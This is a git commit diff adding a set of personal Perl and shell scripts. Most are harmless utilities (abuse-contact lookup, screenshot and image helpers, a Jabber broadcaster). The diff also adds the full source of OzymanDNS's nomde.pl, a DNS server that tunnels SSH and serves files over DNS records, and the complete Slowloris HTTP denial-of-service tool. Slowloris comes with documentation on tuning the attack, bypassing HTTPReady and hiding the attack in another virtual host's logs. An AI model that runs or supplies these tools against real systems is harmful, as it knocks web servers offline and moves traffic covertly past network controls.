summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rwxr-xr-xabuse.pl29
-rwxr-xr-xbug2wiki.sh16
-rwxr-xr-xgshot5
-rwxr-xr-xjabberwall.pl58
-rwxr-xr-xmake-mirror.sh13
-rw-r--r--nomde.pl359
-rwxr-xr-xslowloris.pl467
-rwxr-xr-xupshot5
8 files changed, 952 insertions, 0 deletions
diff --git a/abuse.pl b/abuse.pl
new file mode 100755
index 0000000..a6ac077
--- /dev/null
+++ b/abuse.pl
@@ -0,0 +1,29 @@
+#!/usr/bin/perl
+use warnings;
+use strict;
+use File::Basename;
+use Net::IP;
+use Net::DNS;
+
+my $abusednsbl = "abuse-contacts.abusix.org";
+
+if (@ARGV == 0) {
+ print "usage: ", basename($0), " IP ...\n";
+ exit 1;
+}
+
+my $res = Net::DNS::Resolver->new;
+
+for my $host (@ARGV) {
+ my $IP = $host;
+
+ my $ip = new Net::IP ($IP);
+ my $querystring = $ip->reverse_ip().$abusednsbl;
+ $querystring =~ s/\.in-addr\.arpa//;
+ my $query = $res->query($querystring, "txt");
+ if ($query) {
+ print (($query->answer)[0]->rdata, "\n");
+ } else {
+ print "no abuse address for $IP\n";
+ }
+}
diff --git a/bug2wiki.sh b/bug2wiki.sh
new file mode 100755
index 0000000..25957af
--- /dev/null
+++ b/bug2wiki.sh
@@ -0,0 +1,16 @@
+#!/bin/sh
+#
+# just run it and enter one ID per line
+#
+
+while read bugid; do
+ title="$(curl "http://bugs.archlinux.org/task/$bugid" 2>/dev/null |
+ grep -A 1 "<h2 class=\"summary" |
+ tail -n1 |
+ sed -rn 's/\s*(FS#[0-9]*) - (.*)<\/h2>/\1] - \2/p')"
+ if curl "http://wiki.archlinux.org/index.php/Bug_Day_TODO" 2>/dev/null| grep -q "FS#$bugid<"; then
+ echo -e "\e[0;31m !! Bug seems to be already on the TODO list\e[0m"
+ fi
+ echo "* [http://bugs.archlinux.org/task/$bugid $title"
+ echo "* [http://bugs.archlinux.org/task/$bugid $title" | xclip
+done
diff --git a/gshot b/gshot
new file mode 100755
index 0000000..2908454
--- /dev/null
+++ b/gshot
@@ -0,0 +1,5 @@
+#!/bin/sh
+file=$(scrot -s -e 'echo $f')
+gimp "$file"
+fb "$file"
+rm "$file"
diff --git a/jabberwall.pl b/jabberwall.pl
new file mode 100755
index 0000000..c8c4897
--- /dev/null
+++ b/jabberwall.pl
@@ -0,0 +1,58 @@
+#!/usr/bin/perl
+use warnings;
+use strict;
+use Config::Simple;
+use Net::Jabber qw(Client);
+use File::Basename;
+use Data::Dumper;
+
+# config file syntax: "option value"
+# options are: server, port, username, password, ressource
+# location: ~/.jabberwallrc
+
+if(@ARGV != 1) {
+ print "usage: ", basename($0), " <userlist>\n";
+ exit 1;
+}
+
+open FH, "<", $ARGV[0] or die "$ARGV[0]: $!";
+my @recipients = <FH>;
+close FH;
+
+my %config;
+Config::Simple->import_from("$ENV{HOME}/.jabberwallrc", \%config);
+
+my $clnt = new Net::Jabber::Client;
+
+my $status = $clnt->Connect(hostname=>$config{server}, port=>$config{port});
+
+if (!defined($status)) {
+ die "Jabber connect error ($!)\n";
+}
+
+my @result = $clnt->AuthSend(username=>$config{username},
+ password=>$config{password},
+ resource=>$config{resource});
+
+if ($result[0] ne "ok") {
+ die "Jabber auth error: @result\n";
+}
+
+my $body = '';
+while (<STDIN>) {
+ $body .= $_;
+}
+chomp($body);
+
+for my $to (@recipients) {
+ chomp $to;
+ next if ($to eq "");
+
+ $clnt->MessageSend(to=>$to,
+ subject=>"",
+ body=>$body,
+ type=>"chat",
+ priority=>0);
+}
+
+$clnt->Disconnect();
diff --git a/make-mirror.sh b/make-mirror.sh
new file mode 100755
index 0000000..cf8e314
--- /dev/null
+++ b/make-mirror.sh
@@ -0,0 +1,13 @@
+#!/bin/sh
+
+infile=$1
+outfile=$2
+width=200
+height=32
+alpha=30
+
+convert -size ${width}x${height} xc:none \
+\( \( -flip $infile -crop ${width}x${height}+0+0 \) \
+ -size ${width}x${height} gradient: -evaluate Pow 1.4 \
+ -compose Copy_Opacity -composite \) \
+-compose blend -set "option:compose:args" $alpha -composite $outfile
diff --git a/nomde.pl b/nomde.pl
new file mode 100644
index 0000000..5217afe
--- /dev/null
+++ b/nomde.pl
@@ -0,0 +1,359 @@
+#!/usr/bin/perl
+
+$VERSION = 0.1;
+
+use Fcntl;
+use Net::DNS;
+use Net::DNS::Nameserver;
+#use LWP::Simple;
+use LWP::UserAgent;
+use Time::HiRes qw ( usleep gettimeofday );
+use MIME::Base64;
+use MIME::Base32 qw ( RFC );
+use IO::Socket;
+use Class::Struct;
+use threads;
+use threads::shared;
+use Thread::Queue;
+use Getopt::Long;
+use English;
+
+
+my %opts;
+my %mods;
+
+$opts{ptrname} = "127.0.0.1";
+$opts{filename} = "nomde.pl";
+$opts{forward} = "sshdns:127.0.0.1:22";
+GetOptions(
+ "ip=s" => \$opts{ip},
+ "filename=s" => \$opts{file},
+ "ptrname" => \$opts{ptrname},
+ "Localforward"=> \$opts{forward}
+);
+if($ARGV[0]) {
+ $opts{localname} = $ARGV[0];
+ my @tmp = split('\.', $opts{localname});
+ $opts{nameoffset} = $#tmp;
+ undef @tmp;
+}
+
+if(!length($opts{localname}) || !length($opts{ip})){
+
+ print STDERR << "EOD";
+nomde $VERSION: Experimental DNS Server
+Component of: OzymanDNS Dan Kaminsky(dan\@doxpara.com)
+ Usage: nomde -l 10.0.1.11 servername.foo.com
+ Options: -i [ip address]: IP address to host for all A requests
+ -f [filename] : Filename to host in TXT records [b64]
+ -p [name] : Name/IP to return for reverse lookups[ptr]
+ -L [name:host:port]: Forward function to address, port
+ (Default: sshdns:127.0.0.1:22)
+EOD
+ exit 1;
+}
+
+struct ( dns_sock => {
+ sock => '$',
+ lasttime => '$',
+ reader => '$',
+ queue => '$'
+});
+
+
+struct ( dns_sock_data => {
+ data => '$',
+ lasttime => '$'
+});
+
+# set STDIN to nonblock
+$flags='';
+fcntl(STDIN, F_GETFL, $flags) or die "1\n";
+$flags |= O_NONBLOCK;
+fcntl(STDIN, F_SETFL, $flags) or die "2\n";
+
+
+#use strict;
+#use warnings;
+
+$dataclean;
+
+sub reply_handler {
+ my ($qname, $qclass, $qtype, $peerhost, $header, $packet) = @_;
+ my ($rcode, @ans, @auth, @add, $val);
+
+ my @namelist = split(/\./, $qname);
+ my @reverselist = reverse(@namelist);
+ my $function = $reverselist[$opts{nameoffset}+1];
+ my @args = (@reverselist[$opts{nameoffset}+2..$#reverselist]);
+
+ $rcode = "NXDOMAIN";
+
+ if ($qtype eq "AAAA") { $rcode = "NOTIMPL"; goto end;};
+ if ($qtype eq "SOA") {
+ my $now = gettimeofday(); # yeah that'll give unique serials
+ my $name = $opts{localname};
+ my ($ttl, $rdata) = (3600, "ns.$name root.$name $now 28800 14400 3600000 0");
+ push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $rdata");
+ $rcode = "NOERROR";
+ goto end;
+ }
+ if ($qtype eq "TYPE38") { $rcode = "NOTIMPL"; goto end;};
+ if ($qtype eq "A" && $function eq "glance") {
+ my $addr = $args[0];
+ chomp($addr);
+ $addr =~ s/_/\./g;
+ $addr =~ s/-/\//g;
+ $addr = "http://" . $addr;
+
+ my $ua = LWP::UserAgent->new;
+ my $request = HTTP::Request->new(HEAD => "$addr");
+ my $response= $ua->request($request);
+ my $modified_time = $response->last_modified;
+ my $expires = $response->expires;
+ my $date = $response->date;
+
+ my $ttl = $expires - $date;
+
+ my @array = unpack("C*", pack("V", $modified_time)); # will it work?
+ my $nsip = join(".", @array);
+ if ($ttl < (60*20)) {$ttl = 60*20;}
+ push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $nsip");
+ $rcode = "NOERROR";
+ goto end;
+ }
+ if ($function eq "echo"){
+
+ if ($qtype eq "A" && $namelist[0] eq "ns")
+ {
+ my $nsip = $args[0];
+ $nsip =~ s/-/./g;
+ my ($ttl, $rdata) = (20, $nsip);
+ push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $rdata");
+ $rcode = "NOERROR";
+ goto end;
+ }
+ else {
+ my $nsip = $args[0];
+ $nsip =~ s/-/./g;
+ my $ns = "ns." . "$qname";
+ print "\n$ns\n";
+ $type = "NS";
+ if($qtype eq "NS") {
+ push @ans, Net::DNS::RR->new("$qname 20 $qclass NS $ns");
+ } else {
+ push @auth, Net::DNS::RR->new("$qname 20 $qclass NS $ns");
+ }
+ push @add, Net::DNS::RR->new("$ns 20 $qclass A $nsip");
+ $rcode = "NOERROR";
+ goto end;
+ }
+ }
+
+
+ if ($qtype eq "CNAME") { $rcode = "NOERROR"; goto end;};
+ if ($qtype eq "PTR") {
+ my ($ttl, $rdata) = (0, $opts{ptrname});
+ push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $rdata");
+ $rcode = "NOERROR";
+ }
+ if ($qtype eq "TXT" && $function eq "b64" && $opts{file}) {
+ my $val, $i;
+ seek($opts{file}, $args[0], 0);
+ read($opts{file}, $val, 57*2);
+ $val = encode_base64($val);
+ read($opts{file}, $val2, 57*2);
+ $val2 = encode_base64($val2);
+ my $ttl = 60;
+ push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype \"$val\" \"$val2\"" );
+ $rcode = "NOERROR";
+ goto end;
+ }
+
+ my ($servname, $remotehost, $remoteport) = split(":", $opts{forward});
+ if ($function eq "$servname"){
+ my $op = $args[0];
+ my $id = $args[1];
+ my ($offset, $nonce) = split("-", $args[2]);
+
+ my $now = gettimeofday();
+ if(!$sockclean || $now - $sockclean > 240){
+ $sockclean = gettimeofday();
+ foreach $scanid (keys %socklist){
+ if($now - $socklist{$scanid}->lasttime > 10){
+ $socklist{$scanid}->sock->shutdown(2);
+ delete $socklist{$scanid};
+ }
+ }
+ }
+ my $scanid;
+ if(!$dataclean || $now - $dataclean > 20){
+ $dataclean = gettimeofday();
+ foreach $scanid (keys %sockdata) {
+ if(defined($sockdata{"$scanid"})&&
+ $now - $sockdata{"$scanid"}->lasttime > 60){
+ delete $sockdata{$scanid};
+ }
+ }
+ }
+
+ if(!exists $socklist{$id}) {
+ $socklist{$id}=new dns_sock;
+ my $sock = IO::Socket::INET->new(
+ PeerAddr => "$remotehost",
+ PeerPort => "$remoteport",
+ Proto => "tcp",
+ Type => SOCK_STREAM,
+ Blocking => 1);# or die "couldn't spawn socket\n";
+ $socklist{$id}->queue(Thread::Queue->new);
+ $socklist{$id}->sock($sock);
+ $socklist{$id}->reader(threads->new(\&reader, $socklist{$id}->sock, $socklist{$id}->queue));
+ }
+
+ $socklist{$id}->lasttime($now);
+ my $sock = $socklist{$id}->sock;
+
+ my $sockdata_is_fresh=0;
+ if(!exists $sockdata{$op,$offset,$id}) {
+ $sockdata{$op,$offset,$id} = new dns_sock_data;
+ $sockdata{$op,$offset,$id}->lasttime($now);
+ $sockdata_is_fresh=1;
+ }
+
+ my $data = $sockdata{$op,$offset,$id}->data;
+ if($op eq "up" && $qtype eq "A"){
+ my $size=0;
+ $data = uc join("", reverse(@args[3..$#args]));
+ $data = MIME::Base32::decode($data);
+
+ if($sockdata_is_fresh){
+ while($size != length($data)) {
+ my $outdata;
+ $outdata = substr($data, $size);
+ $size += syswrite($sock, $outdata, length($data)-$size);
+ if($size != length($data)){usleep (100 * 1000);}
+ }
+ $data="1"; #for now, we don't store incoming data
+ }
+ $sockdata{$op,$offset,$id}->data($data);
+ my $reply = "$size.0.0.0";
+ my $ttl = 0;
+ push @ans, Net::DNS::RR->new("$qname $ttl $qclass A $reply");
+ $rcode = "NOERROR";
+
+ goto end;
+ }
+
+ sub reader {
+ my @args = @_;
+ my $sock = @args[0];
+ my $queue= @args[1];
+
+ while(1){
+ if($queue->pending < 32) {
+ sysread($sock, $data, 220);
+ if(length($data)) {$queue->enqueue($data);}
+ usleep (50 * 1000 / 10);
+ }
+ }
+ }
+
+ if($op eq "down"){ #intentionally not txt checking
+ if($sockdata_is_fresh || length($data)==0) {
+ $data = $socklist{$id}->queue->dequeue_nb;
+ #sysread($sock, $data, 220);
+ }
+ $sockdata{$op,$offset,$id}->data($data);
+ my $data1 = substr($data, 0, 110);
+ my $data2 = substr($data, 110, 110);
+ my $txt1 = encode_base64($data1);
+ my $txt2 = encode_base64($data2);
+ my $x = $socklist{$id}->queue->pending;
+
+ push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype \"$txt1\" \"$txt2\"");
+ push @add, Net::DNS::RR->new("pending.$qname $ttl $qclass A $x.0.0.0");
+ $rcode = "NOERROR";
+ goto end;
+ }
+ }
+
+ if ($function eq "b32" && $args[0] eq "set") {
+ my $descrip = $args[1];
+ my @data = @args[2..$#args];
+ my $string = join(".", @data);
+ #my $data = MIME::Base32::decode($string);
+ $datastore{$descrip} = $qname; #$string;
+ push @ans, Net::DNS::RR->new("$qname $ttl $qclass A 1.0.0.0");
+ #push @ans, Net::DNS::RR->new("$qname $ttl $qclass TXT \"ok: $descrip = $string\"");
+ $rcode = "NOERROR";
+ goto end;
+ }
+ if ($function eq "b32" && $args[0] eq "get") {
+ my $descrip = $args[1];
+ if(exists $datastore{$descrip}){
+ push @ans, Net::DNS::RR->new("$qname $ttl $qclass CNAME $datastore{$descrip}");
+ push @add, Net::DNS::RR->new("$datastore{descrip} $ttl $qclass A 1.0.0.0");
+ $rcode = "NOERROR";
+ } else {
+ $rcode = "NXDOMAIN";
+ }
+ goto end;
+ }
+
+ if ($qtype eq "TXT") {
+ $val = `/bin/date`;
+ chomp $val;
+ $val = "Hi: $val";
+ my ($ttl, $rdata) = (0, $val);
+ push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype \"$rdata\"");
+ $rcode = "NOERROR";
+ goto end;
+ }
+ if ($qtype eq "NS") {
+ if($args[0] ne "ns"){ my ($ttl, $rdata) = (3600, "ns.$name");}
+ push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $rdata");
+ push @add, Net::DNS::RR->new("$qname $ttl $qclass $qtype $opts{ip}");
+ $rcode = "NOERROR";
+ goto end;
+ }
+
+
+ if ($qtype eq "A") {
+ my ($ttl, $rdata) = (3600, $opts{ip});
+ push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $rdata");
+ $rcode = "NOERROR";
+ goto end;
+ }
+
+ end:
+ my $element, $name;
+ print "\n";
+ foreach $element (@ans, @auth, @add) {
+ $name = $element->string;
+ chomp $name;
+ print $name, "\n";
+ }
+
+ # mark the answer as authoritive (by setting the 'aa' flag
+ my @response = ($rcode, \@ans, \@auth, \@add, { aa => 1 });
+ return @response;
+}
+if(length($opts{filename})) {open FILE, "$opts{filename}" or die $!;}
+binmode FILE;
+$opts{file}=FILE;
+
+my %datastore;
+
+# note that this socket is blocking -- WAY harder to do nonblocking with
+# callbacks (need fork/ipc).
+my %socklist : shared;
+%sockdata;
+
+my $ns = Net::DNS::Nameserver->new(
+ LocalPort => 53,
+ ReplyHandler => \&reply_handler,
+ Verbose => 2,
+) || die "couldn't create nameserver object\n";
+
+$ns->main_loop;
+
diff --git a/slowloris.pl b/slowloris.pl
new file mode 100755
index 0000000..6390706
--- /dev/null
+++ b/slowloris.pl
@@ -0,0 +1,467 @@
+#!/usr/bin/perl -w
+use strict;
+use IO::Socket::INET;
+use IO::Socket::SSL;
+use Getopt::Long;
+use Config;
+
+$SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors
+
+print <<EOTEXT;
+
+CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc::::
+CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc:::
+CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc::
+CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc::::
+CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
+ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc
+ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
+oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
+oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
+oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
+CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
+CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
+OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO
+OOOOO888\@8\@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
+COOO888\@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO
+CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC
+coooCCO8\@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC
+:ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC
+.:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC
+....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
+.......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
+...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
+.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
+ ..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC
+ . . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco
+ . .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc
+ . . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco
+
+ Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
+
+EOTEXT
+
+my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
+my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
+my $result = GetOptions(
+ 'shost=s' => \$shost,
+ 'dns=s' => \$host,
+ 'httpready' => \$httpready,
+ 'num=i' => \$connections,
+ 'cache' => \$cache,
+ 'port=i' => \$port,
+ 'https' => \$ssl,
+ 'tcpto=i' => \$tcpto,
+ 'test' => \$test,
+ 'timeout=i' => \$timeout,
+ 'version' => \$version,
+);
+
+if ($version) {
+ print "Version 0.7\n";
+ exit;
+}
+
+unless ($host) {
+ print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
+ print "\n\tType 'perldoc $0' for help with options.\n\n";
+ exit;
+}
+
+unless ($port) {
+ $port = 80;
+ print "Defaulting to port 80.\n";
+}
+
+unless ($tcpto) {
+ $tcpto = 5;
+ print "Defaulting to a 5 second tcp connection timeout.\n";
+}
+
+unless ($test) {
+ unless ($timeout) {
+ $timeout = 100;
+ print "Defaulting to a 100 second re-try timeout.\n";
+ }
+ unless ($connections) {
+ $connections = 1000;
+ print "Defaulting to 1000 connections.\n";
+ }
+}
+
+my $usemultithreading = 0;
+if ( $Config{usethreads} ) {
+ print "Multithreading enabled.\n";
+ $usemultithreading = 1;
+ use threads;
+ use threads::shared;
+}
+else {
+ print "No multithreading capabilites found!\n";
+ print "Slowloris will be slower than normal as a result.\n";
+}
+
+my $packetcount : shared = 0;
+my $failed : shared = 0;
+my $connectioncount : shared = 0;
+
+srand() if ($cache);
+
+if ($shost) {
+ $sendhost = $shost;
+}
+else {
+ $sendhost = $host;
+}
+if ($httpready) {
+ $method = "POST";
+}
+else {
+ $method = "GET";
+}
+
+if ($test) {
+ my @times = ( "2", "30", "90", "240", "500" );
+ my $totaltime = 0;
+ foreach (@times) {
+ $totaltime = $totaltime + $_;
+ }
+ $totaltime = $totaltime / 60;
+ print "This test could take up to $totaltime minutes.\n";
+
+ my $delay = 0;
+ my $working = 0;
+ my $sock;
+
+ if ($ssl) {
+ if (
+ $sock = new IO::Socket::SSL(
+ PeerAddr => "$host",
+ PeerPort => "$port",
+ Timeout => "$tcpto",
+ Proto => "tcp",
+ )
+ )
+ {
+ $working = 1;
+ }
+ }
+ else {
+ if (
+ $sock = new IO::Socket::INET(
+ PeerAddr => "$host",
+ PeerPort => "$port",
+ Timeout => "$tcpto",
+ Proto => "tcp",
+ )
+ )
+ {
+ $working = 1;
+ }
+ }
+ if ($working) {
+ if ($cache) {
+ $rand = "?" . int( rand(99999999999999) );
+ }
+ else {
+ $rand = "";
+ }
+ my $primarypayload =
+ "GET /$rand HTTP/1.1\r\n"
+ . "Host: $sendhost\r\n"
+ . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
+ . "Content-Length: 42\r\n";
+ if ( print $sock $primarypayload ) {
+ print "Connection successful, now comes the waiting game...\n";
+ }
+ else {
+ print
+"That's odd - I connected but couldn't send the data to $host:$port.\n";
+ print "Is something wrong?\nDying.\n";
+ exit;
+ }
+ }
+ else {
+ print "Uhm... I can't connect to $host:$port.\n";
+ print "Is something wrong?\nDying.\n";
+ exit;
+ }
+ for ( my $i = 0 ; $i <= $#times ; $i++ ) {
+ print "Trying a $times[$i] second delay: \n";
+ sleep( $times[$i] );
+ if ( print $sock "X-a: b\r\n" ) {
+ print "\tWorked.\n";
+ $delay = $times[$i];
+ }
+ else {
+ if ( $SIG{__WARN__} ) {
+ $delay = $times[ $i - 1 ];
+ last;
+ }
+ print "\tFailed after $times[$i] seconds.\n";
+ }
+ }
+
+ if ( print $sock "Connection: Close\r\n\r\n" ) {
+ print "Okay that's enough time. Slowloris closed the socket.\n";
+ print "Use $delay seconds for -timeout.\n";
+ exit;
+ }
+ else {
+ print "Remote server closed socket.\n";
+ print "Use $delay seconds for -timeout.\n";
+ exit;
+ }
+ if ( $delay < 166 ) {
+ print <<EOSUCKS2BU;
+Since the timeout ended up being so small ($delay seconds) and it generally
+takes between 200-500 threads for most servers and assuming any latency at
+all... you might have trouble using Slowloris against this target. You can
+tweak the -timeout flag down to less than 10 seconds but it still may not
+build the sockets in time.
+EOSUCKS2BU
+ }
+}
+else {
+ print
+"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";
+
+ if ($usemultithreading) {
+ domultithreading($connections);
+ }
+ else {
+ doconnections( $connections, $usemultithreading );
+ }
+}
+
+sub doconnections {
+ my ( $num, $usemultithreading ) = @_;
+ my ( @first, @sock, @working );
+ my $failedconnections = 0;
+ $working[$_] = 0 foreach ( 1 .. $num ); #initializing
+ $first[$_] = 0 foreach ( 1 .. $num ); #initializing
+ while (1) {
+ $failedconnections = 0;
+ print "\t\tBuilding sockets.\n";
+ foreach my $z ( 1 .. $num ) {
+ if ( $working[$z] == 0 ) {
+ if ($ssl) {
+ if (
+ $sock[$z] = new IO::Socket::SSL(
+ PeerAddr => "$host",
+ PeerPort => "$port",
+ Timeout => "$tcpto",
+ Proto => "tcp",
+ )
+ )
+ {
+ $working[$z] = 1;
+ }
+ else {
+ $working[$z] = 0;
+ }
+ }
+ else {
+ if (
+ $sock[$z] = new IO::Socket::INET(
+ PeerAddr => "$host",
+ PeerPort => "$port",
+ Timeout => "$tcpto",
+ Proto => "tcp",
+ )
+ )
+ {
+ $working[$z] = 1;
+ $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
+ }
+ else {
+ $working[$z] = 0;
+ }
+ }
+ if ( $working[$z] == 1 ) {
+ if ($cache) {
+ $rand = "?" . int( rand(99999999999999) );
+ }
+ else {
+ $rand = "";
+ }
+ my $primarypayload =
+ "$method /$rand HTTP/1.1\r\n"
+ . "Host: $sendhost\r\n"
+ . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
+ . "Content-Length: 42\r\n";
+ my $handle = $sock[$z];
+ if ($handle) {
+ print $handle "$primarypayload";
+ if ( $SIG{__WARN__} ) {
+ $working[$z] = 0;
+ close $handle;
+ $failed++;
+ $failedconnections++;
+ }
+ else {
+ $packetcount++;
+ $working[$z] = 1;
+ }
+ }
+ else {
+ $working[$z] = 0;
+ $failed++;
+ $failedconnections++;
+ }
+ }
+ else {
+ $working[$z] = 0;
+ $failed++;
+ $failedconnections++;
+ }
+ }
+ }
+ print "\t\tSending data.\n";
+ foreach my $z ( 1 .. $num ) {
+ if ( $working[$z] == 1 ) {
+ if ( $sock[$z] ) {
+ my $handle = $sock[$z];
+ if ( print $handle "X-a: b\r\n" ) {
+ $working[$z] = 1;
+ $packetcount++;
+ }
+ else {
+ $working[$z] = 0;
+ #debugging info
+ $failed++;
+ $failedconnections++;
+ }
+ }
+ else {
+ $working[$z] = 0;
+ #debugging info
+ $failed++;
+ $failedconnections++;
+ }
+ }
+ }
+ print
+"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
+ sleep($timeout);
+ }
+}
+
+sub domultithreading {
+ my ($num) = @_;
+ my @thrs;
+ my $i = 0;
+ my $connectionsperthread = 50;
+ while ( $i < $num ) {
+ $thrs[$i] =
+ threads->create( \&doconnections, $connectionsperthread, 1 );
+ $i += $connectionsperthread;
+ }
+ my @threadslist = threads->list();
+ while ( $#threadslist > 0 ) {
+ $failed = 0;
+ }
+}
+
+__END__
+
+=head1 TITLE
+
+Slowloris
+
+=head1 VERSION
+
+Version 0.7 Beta
+
+=head1 DATE
+
+06/17/2009
+
+=head1 AUTHOR
+
+RSnake <h@ckers.org> with threading from John Kinsella
+
+=head1 ABSTRACT
+
+Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.
+
+=head1 AFFECTS
+
+Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?
+
+=head1 NOT AFFECTED
+
+IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?
+
+=head1 DESCRIPTION
+
+Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well.
+
+As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a SYN flood.
+
+=head2 Testing
+
+If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:
+
+=head3 Testing Example:
+
+./slowloris.pl -dns www.example.com -port 80 -test
+
+This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for. If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing).
+
+=head2 HTTP DoS
+
+Once you find a timeout window, you can tune Slowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration. Some are less than 300. The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision. The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful. Slowloris has no way to identify if it's successful or not though.
+
+=head3 HTTP DoS Example:
+
+./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5
+
+=head2 HTTPReady Bypass
+
+HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch.
+
+=head3 HTTPReady Bypass Example
+
+./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready
+
+=head2 Stealth Host DoS
+
+If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable. This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.
+
+=head3 Stealth Host DoS Example:
+
+./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com
+
+=head2 HTTPS DoS
+
+Slowloris does support SSL/TLS on an experimental basis with the -https switch. The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development. Your mileage may vary.
+
+=head3 HTTPS DoS Example:
+
+./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https
+
+=head2 HTTP Cache
+
